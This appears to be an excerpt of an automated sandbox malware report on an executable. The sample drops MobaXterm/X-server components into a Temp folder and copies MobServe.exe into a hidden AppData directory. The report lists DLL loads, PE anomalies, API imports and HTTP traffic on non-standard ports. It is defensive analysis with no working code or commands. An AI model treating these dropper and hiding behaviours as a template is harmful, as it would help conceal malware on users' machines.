Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: ddraw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libglapi-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: icm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libx11-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libdl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxau-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxdmcp-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libx11-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libdl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxau-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxdmcp-6.dll	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Window found: window name: msctls_updown32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: T2dvU8f2xg.exe

Static file information: File size 20954448 > 1048576

Source:	Binary string: solve.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2232918658.00000000096CC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: corMatrix$corMatrix.compSymm corMatrix.corAR1"corMatrix.corARMA"corMatrix.corCAR1*corMatrix.corCompSymm$corMatrix.corIdent(corMatrix.corNatural(corMatrix.corSpatial&corMatrix.corStruct"corMatrix.corSymm&corMatrix.pdBlocked(corMatrix.pdCompSymm corMatrix.pdDiag"corMatrix.pdIdent source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: coef.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: summary.pam"summary.pdBlocked$summary.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.2232918658.00000000096CC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pdConstructpdConstruct.pdBlocked,pdConstruct.pdCompSymm$pdConstruct.pdDiag&pdConstruct.pdIdentpdConstruct.pdLogChol"pdConstruct.pdMat*pdConstruct.pdNatural$pdConstruct.pdSymm source: T2dvU8f2xg.exe, 00000000.00000003.2232918658.00000000096CC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: logDet.corIdent logDet.corStruct logDet.pdBlocked"logDet.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Names.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: formula.nlsList"formula.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2232627809.00000000079E5000.00000004.00000020.00020000.00000000.sdmp

Source: XWin_MobaX.exe.0.dr

Static PE information: 0x6D455C29 [Fri Feb 4 07:28:41 2028 UTC]

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_10262960 GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,GetSystemDirectoryW,GetSystemDirectoryW,LoadLibraryW,

0_2_10262960

Source: libxcb-1.dll.0.dr	Static PE information: real checksum: 0x2dbbb should be: 0x2cb5d
Source: libxcb-glx-0.dll.0.dr	Static PE information: real checksum: 0x1bea3 should be: 0x1dc3e
Source: zlib1.dll.0.dr	Static PE information: real checksum: 0x24917 should be: 0x25861
Source: libX11-6.dll.0.dr	Static PE information: real checksum: 0x141bab should be: 0x13f27c
Source: swrast_dri.so.0.dr	Static PE information: real checksum: 0x5838ed should be: 0x58aa8a
Source: libfontenc-1.dll.0.dr	Static PE information: real checksum: 0x16c2d should be: 0xcb7c
Source: libXt-6.dll.0.dr	Static PE information: real checksum: 0x58873 should be: 0x6154e
Source: libXfont-1.dll.0.dr	Static PE information: real checksum: 0x30677 should be: 0x2ba50
Source: libgcc_s_dw2-1.dll.0.dr	Static PE information: real checksum: 0x1d3cb should be: 0x237ce
Source: libXext-6.dll.0.dr	Static PE information: real checksum: 0x163ba should be: 0x1671b
Source: libxcb-util-1.dll.0.dr	Static PE information: real checksum: 0x12f7a should be: 0xcabe
Source: libICE-6.dll.0.dr	Static PE information: real checksum: 0x23ed6 should be: 0x20d3c
Source: libXdmcp-6.dll.0.dr	Static PE information: real checksum: 0x7de9 should be: 0xf914
Source: libwinpthread-1.dll.0.dr	Static PE information: real checksum: 0x275e7 should be: 0x1d281
Source: libxcb-image-0.dll.0.dr	Static PE information: real checksum: 0x13b24 should be: 0x76ed
Source: libxcb-shm-0.dll.0.dr	Static PE information: real checksum: 0xe0f5 should be: 0xcc9c
Source: libGL-1.dll.0.dr	Static PE information: real checksum: 0xddd75 should be: 0xdd704
Source: libnativeGLthunk.dll.0.dr	Static PE information: real checksum: 0x6f999 should be: 0x72a26
Source: libSM-6.dll.0.dr	Static PE information: real checksum: 0x1306f should be: 0x1703f
Source: libglapi-0.dll.0.dr	Static PE information: real checksum: 0x34f5a should be: 0x37293
Source: libXmu-6.dll.0.dr	Static PE information: real checksum: 0x1c4a3 should be: 0x25f2f
Source: libdl.dll.0.dr	Static PE information: real checksum: 0x6ad7 should be: 0x12855
Source: libXau-6.dll.0.dr	Static PE information: real checksum: 0x7f0c should be: 0x7226
Source: evb5021.tmp.0.dr	Static PE information: real checksum: 0x0 should be: 0x4050

Source: temp_MobServe.exe.0.dr	Static PE information: section name: /4
Source: temp_MobServe.exe.0.dr	Static PE information: section name: .xdata
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /14
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /29
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /41
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /55
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /67
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /80
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /91
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /102
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /116
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /135
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /151
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /167
Source: libXmuu-1.dll.0.dr	Static PE information: section name: /4
Source: XWin_MobaX_21.1.3.exe.0.dr	Static PE information: section name: /4
Source: XWin_MobaX.exe.0.dr	Static PE information: section name: /4
Source: libxcb-glx-0.dll.0.dr	Static PE information: section name: /4
Source: libxcb-image-0.dll.0.dr	Static PE information: section name: /4
Source: libxcb-shm-0.dll.0.dr	Static PE information: section name: /4
Source: libxcb-util-1.dll.0.dr	Static PE information: section name: /4
Source: MobServe[1].exe.0.dr	Static PE information: section name: /4
Source: MobServe[1].exe.0.dr	Static PE information: section name: .xdata
Source: MobServe[1].exe.0.dr	Static PE information: section name: /14
Source: MobServe[1].exe.0.dr	Static PE information: section name: /29
Source: MobServe[1].exe.0.dr	Static PE information: section name: /41
Source: MobServe[1].exe.0.dr	Static PE information: section name: /55
Source: MobServe[1].exe.0.dr	Static PE information: section name: /67
Source: MobServe[1].exe.0.dr	Static PE information: section name: /80
Source: MobServe[1].exe.0.dr	Static PE information: section name: /91
Source: MobServe[1].exe.0.dr	Static PE information: section name: /102
Source: MobServe[1].exe.0.dr	Static PE information: section name: /116
Source: MobServe[1].exe.0.dr	Static PE information: section name: /135
Source: MobServe[1].exe.0.dr	Static PE information: section name: /151
Source: MobServe[1].exe.0.dr	Static PE information: section name: /167
Source: libXdmcp-6.dll.0.dr	Static PE information: section name: /4
Source: libXext-6.dll.0.dr	Static PE information: section name: /4
Source: libXfont-1.dll.0.dr	Static PE information: section name: /4
Source: libXmu-6.dll.0.dr	Static PE information: section name: /4
Source: libXt-6.dll.0.dr	Static PE information: section name: /4
Source: OpenX.exe.0.dr	Static PE information: section name: /4
Source: setxkbmap.exe.0.dr	Static PE information: section name: /4
Source: twm_w32.exe.0.dr	Static PE information: section name: /4
Source: xhost.exe.0.dr	Static PE information: section name: /4
Source: xkbcomp_w32.exe.0.dr	Static PE information: section name: /4
Source: xlsatoms.exe.0.dr	Static PE information: section name: /4
Source: xlsclients.exe.0.dr	Static PE information: section name: /4
Source: xlsfonts.exe.0.dr	Static PE information: section name: /4
Source: xmodmap.exe.0.dr	Static PE information: section name: /4
Source: xprop.exe.0.dr	Static PE information: section name: /4
Source: xrdb.exe.0.dr	Static PE information: section name: /4
Source: XWin_MobaX_21.1.8.exe.0.dr	Static PE information: section name: /4
Source: zlib1.dll.0.dr	Static PE information: section name: /4
Source: dwm_w32.exe.0.dr	Static PE information: section name: .eh_fram
Source: jwm.exe.0.dr	Static PE information: section name: /4
Source: libdl.dll.0.dr	Static PE information: section name: /4
Source: libfontenc-1.dll.0.dr	Static PE information: section name: /4
Source: libgcc_s_dw2-1.dll.0.dr	Static PE information: section name: /4
Source: libGL-1.dll.0.dr	Static PE information: section name: /4
Source: libglapi-0.dll.0.dr	Static PE information: section name: /4
Source: libICE-6.dll.0.dr	Static PE information: section name: /4
Source: libnativeGLthunk.dll.0.dr	Static PE information: section name: /4
Source: libSM-6.dll.0.dr	Static PE information: section name: /4
Source: libwinpthread-1.dll.0.dr	Static PE information: section name: /4
Source: libX11-6.dll.0.dr	Static PE information: section name: /4
Source: libX11-xcb-1.dll.0.dr	Static PE information: section name: /4
Source: libXau-6.dll.0.dr	Static PE information: section name: /4
Source: libxcb-1.dll.0.dr	Static PE information: section name: /4
Source: evb5021.tmp.0.dr	Static PE information: section name:
Source: swrast_dri.so.0.dr	Static PE information: section name: /4

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-util-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libwinpthread-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXdmcp-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXau-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libglapi-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-shm-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\evb5021.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libdl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libgcc_s_dw2-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-image-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-6.dll	Jump to dropped file

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so

Jump to dropped file

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\README.txt

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 8087
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49981

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004066F0 GetParent,IsIconic,GetDesktopWindow,GetWindowLongA,SetWindowLongA,GetWindowLongA,SetWindowLongA,GetSystemMetrics,SetWindowPos,GetWindowRect,GetWindowRect,CopyRect,OffsetRect,OffsetRect,OffsetRect,SetWindowPos,LoadIconA,MonitorFromWindow,GetMonitorInfoA,EnumDisplaySettingsA,GetSystemMetrics,GetSystemMetrics,LoadImageA,PostMessageA,PostMessageA,	13_2_004066F0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0041C784 winReorderWindowsMultiWindow,GetCurrentProcessId,GetTopWindow,GetWindowThreadProcessId,GetPropA,IsIconic,GetPropA,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,winGetWindowID,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,GetWindow,	13_2_0041C784
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0041CB1F winAdjustXWindow,ErrorF,IsIconic,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,GetSystemMetrics,GetSystemMetrics,SetRect,winDebug,GetWindowLongA,GetWindowLongA,winDebug,AdjustWindowRectEx,GetWindowRect,winDebug,winDebug,EqualRect,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,	13_2_0041CB1F
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004215DF GetPropA,IsIconic,IsZoomed,IsWindowVisible,ErrorF,winSendMessageToWM,	13_2_004215DF
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004216C8 winTopLevelWindowProc@16,SetPropA,winGetWindowID,SetPropA,GetPropA,GetPropA,winReorderWindowsMultiWindow,GetWindowRect,CreateRectRgnIndirect,SetWindowRgn,DeleteObject,SetWindowLongA,winSendMessageToWM,SetupSysMenu,HandleCustomWM_COMMAND,GetWindowPlacement,HandleCustomWM_INITMENU,BeginPaint,ValidateRect,EndPaint,ClientToScreen,GetSystemMetrics,GetSystemMetrics,miPointerGetScreen,miPointerSetScreen,memset,TrackMouseEvent,ErrorF,ShowCursor,KillTimer,winEnqueueMotion,ShowCursor,ShowCursor,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,IsIconic,ShowWindow,winRestoreModeKeyStates,winInstallKeyboardHookLL,winSendMessageToWM,winKeybdReleaseKeys,winRemoveKeyboardHookLL,winSendMessageToWM,GetKeyState,winWindowProc@16,winWindowProc@16,SendMessageA,SendMessageA,winSetAppUserModelID,DestroyWindow,winSendMessageToWM,GetWindow,ErrorF,winSendMessageToWM,RemovePropA,RemovePropA,RemovePropA,RemovePropA,winAdjustXWindow,GetCurrentProcessId,GetWindowThreadProcessId,GetPropA,IsWindowVisible,IsIconic,GetWindow,SetPropA,winUpdateWindowPosition,winMultiWindowGetWMHints,SetForegroundWindow,GetForegroundWindow,GetWindowLongA,GetWindowLongA,SetWindowPos,SetWindowPos,winSendMessageToWM,winAdjustXWindow,winAdjustXWindow,winReorderWindowsMultiWindow,GetWindowLongA,GetWindowLongA,winDebug,winDebug,GetWindowInfo,winDebug,AdjustWindowRectEx,winDebug,winDebug,BeginDeferWindowPos,DeferWindowPos,EndDeferWindowPos,winDebug,GetPropA,SetCursor,winDebug,winAdjustWindowsWindow,DefWindowProcA,winReorderWindowsMultiWindow,	13_2_004216C8
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004216C8 winTopLevelWindowProc@16,SetPropA,winGetWindowID,SetPropA,GetPropA,GetPropA,winReorderWindowsMultiWindow,GetWindowRect,CreateRectRgnIndirect,SetWindowRgn,DeleteObject,SetWindowLongA,winSendMessageToWM,SetupSysMenu,HandleCustomWM_COMMAND,GetWindowPlacement,HandleCustomWM_INITMENU,BeginPaint,ValidateRect,EndPaint,ClientToScreen,GetSystemMetrics,GetSystemMetrics,miPointerGetScreen,miPointerSetScreen,memset,TrackMouseEvent,ErrorF,ShowCursor,KillTimer,winEnqueueMotion,ShowCursor,ShowCursor,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,IsIconic,ShowWindow,winRestoreModeKeyStates,winInstallKeyboardHookLL,winSendMessageToWM,winKeybdReleaseKeys,winRemoveKeyboardHookLL,winSendMessageToWM,GetKeyState,winWindowProc@16,winWindowProc@16,SendMessageA,SendMessageA,winSetAppUserModelID,DestroyWindow,winSendMessageToWM,GetWindow,ErrorF,winSendMessageToWM,RemovePropA,RemovePropA,RemovePropA,RemovePropA,winAdjustXWindow,GetCurrentProcessId,GetWindowThreadProcessId,GetPropA,IsWindowVisible,IsIconic,GetWindow,SetPropA,winUpdateWindowPosition,winMultiWindowGetWMHints,SetForegroundWindow,GetForegroundWindow,GetWindowLongA,GetWindowLongA,SetWindowPos,SetWindowPos,winSendMessageToWM,winAdjustXWindow,winAdjustXWindow,winReorderWindowsMultiWindow,GetWindowLongA,GetWindowLongA,winDebug,winDebug,GetWindowInfo,winDebug,AdjustWindowRectEx,winDebug,winDebug,BeginDeferWindowPos,DeferWindowPos,EndDeferWindowPos,winDebug,GetPropA,SetCursor,winDebug,winAdjustWindowsWindow,DefWindowProcA,winReorderWindowsMultiWindow,	13_2_004216C8
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_00415760 IsIconic,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,ScreenToClient,ScreenToClient,SetRect,GetClientRect,IntersectRect,InvalidateRect,UpdateWindow,	13_2_00415760

